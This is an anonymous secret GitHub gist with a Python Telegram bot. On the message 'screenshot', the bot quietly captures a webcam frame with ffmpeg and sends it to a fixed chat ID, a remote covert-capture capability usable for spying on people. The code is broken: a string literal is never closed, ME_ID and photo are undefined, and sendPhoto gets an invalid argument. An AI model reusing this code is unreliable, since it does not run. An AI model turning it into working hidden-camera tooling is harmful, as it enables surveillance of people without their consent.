Skip to content

Instantly share code, notes, and snippets.

/py Secret

Created March 6, 2017 08:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/a9f7376d140e82ab1cc85ac90c812f96 to your computer and use it in GitHub Desktop.
Save anonymous/a9f7376d140e82ab1cc85ac90c812f96 to your computer and use it in GitHub Desktop.
import os
import telegram
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
API_TOKEN = ''
def Camera():
try:
os.remove("shot.jpg")
except FileNotFoundError:
pass
os.system('ffmpeg -f dshow -i video="A4 TECH USB2.0 PC Camera J" -vf eq=brightness=0.4:contrast=1.6 -vframes 1 -f image2 shot.jpg')
def echo(bot, update):
if update.message.text == "screenshot):
Camera()
bot.sendPhoto(chat_id= ME_ID, text="*ACCEPT*", photo=open('shot.jpg', 'rb'), parse_mode=telegram.ParseMode.MARKDOWN)
photo.close()
else:
pass
def main():
updater = Updater(API_TOKEN)
dp = updater.dispatcher
dp.add_handler(MessageHandler(Filters.text, echo))
updater.start_polling()
updater.idle()
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment